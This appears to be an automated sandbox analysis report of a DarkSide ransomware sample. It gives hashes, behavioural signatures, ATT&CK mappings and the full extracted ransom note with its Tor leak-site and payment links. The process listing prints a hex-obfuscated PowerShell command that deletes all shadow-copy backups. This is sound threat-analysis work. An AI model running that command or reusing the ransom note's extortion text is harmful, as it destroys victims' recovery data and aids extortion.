Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    27-01-2024 19:36

General

  • Target

    78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

  • Size

    59KB

  • MD5

    47a4420ad26f60bb6bba5645326fa963

  • SHA1

    7a29a8f5e14da1ce40365849eb59487dbb389d08

  • SHA256

    78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134

  • SHA512

    08c82585fbab8e090e67e4571f7428bffaf68f9a8c2e34b72f9688205ee880a6435aa813b8845a0b0281c80b78774b969032cc27fc98d3f0e67116dabcf77127

  • SSDEEP

    768:bjjeDIax7F3DS4/S9zDCuUSbVydNcxGV1ylfNY23W5:Qx7Fu4/iSrXDTV1yluZ5

Malware Config

Extracted

Path

C:\Users\Admin\README.47246f95.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, private data was downloaded. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 300GB data. Your personal leak page (TOR LINK): http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published in our blog if you do not pay. After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. HOW TO CONTACT US? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16 When you open our website, put the following data in the input form: Key: FSGLQojvXe6Tvm2w0wxP3QfWkJb1USBnFsbmL4CiIX0sBiV727ofcmrdJmUTgBStIrH7sgcBDo4SPki6BniKhpd7d4zjLSAxmtlwLAHLgtBnwYPuW05gxF4VPuXsylwu2p3k6ZWDTjCIZVVG04RCYEfS3AP25AWqGkFDh4KVy7MZsCVH7RwxEdhWyApxi7Ioai3v52ofbfNgys0V0sG2xWqJgtluhQ4J23O7jCZxqMM10civs8NlDmeJAiIkI43RrPDd3P2kA03ky3oUBNeUPOOnAztZQezpfAgiM8evd3HE9aua1yUEX4hndxmFU02CEYIiyah3g5ywISASKAeiXKCJoThOot42MHwMCl0G7wP6KdHVyPx8uhBdT2kbzvjGZvmOibfxKUlxJlhai4DhjDp9mUuJajTrBYoeogvOzrgc8iv0PcrAABLRGU2I9uSFIlFqZeuIp7qMW7DIZKrunidyvfL1oTtuosI8bQ0BVvooDC1BB5n5Biw9x2yBNit4lOjMhY00P3wTLvMhS3ZQ6eGKDmx7GrQ7ydGo6I2A0eQx9dpuxhWpkpc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa

http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (177) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
    "C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2668
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1476

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    705024cc31b25e406d28705cf9299e29

    SHA1

    1ddbaac86e25ab746532392c522166243cff9b4e

    SHA256

    f02a62d2344565b5ba96b7e1b402ac8a396d01eb81dcb31c92b621b79c2f0474

    SHA512

    563416463ff7eb2ced371012aec8d7d2db13e6722637cd88b1901941834a73351376a4da24f68ca26a294f8531f3f83af6d73f0fa0de9da4f1367d4dd5aec88a

  • C:\Users\Admin\README.47246f95.TXT
    Filesize

    2KB

    MD5

    8f3af937b073ccc1eb6e0693c3922e1e

    SHA1

    5a74d49a712238cfd8989fddf0aff1828bee6be6

    SHA256

    2a301030357315a94c20d0ce0d9b12848d9c451a9836dbc8e4d5674444291975

    SHA512

    2c628ec9774aeff244985217079bbdb72b6af7c123f0caace5e14a7f89286ccf16bb29ae022b015a3e52158cc26b080d2a74627aaf843f466cc1328c85a0fabc

  • memory/2668-5-0x000000001B2D0000-0x000000001B5B2000-memory.dmp
    Filesize

    2.9MB

  • memory/2668-6-0x0000000002490000-0x0000000002498000-memory.dmp
    Filesize

    32KB

  • memory/2668-7-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp
    Filesize

    9.6MB

  • memory/2668-8-0x00000000024C0000-0x0000000002540000-memory.dmp
    Filesize

    512KB

  • memory/2668-9-0x00000000024C0000-0x0000000002540000-memory.dmp
    Filesize

    512KB

  • memory/2668-10-0x00000000024C0000-0x0000000002540000-memory.dmp
    Filesize

    512KB

  • memory/2668-11-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp
    Filesize

    9.6MB

  • memory/2668-12-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp
    Filesize

    9.6MB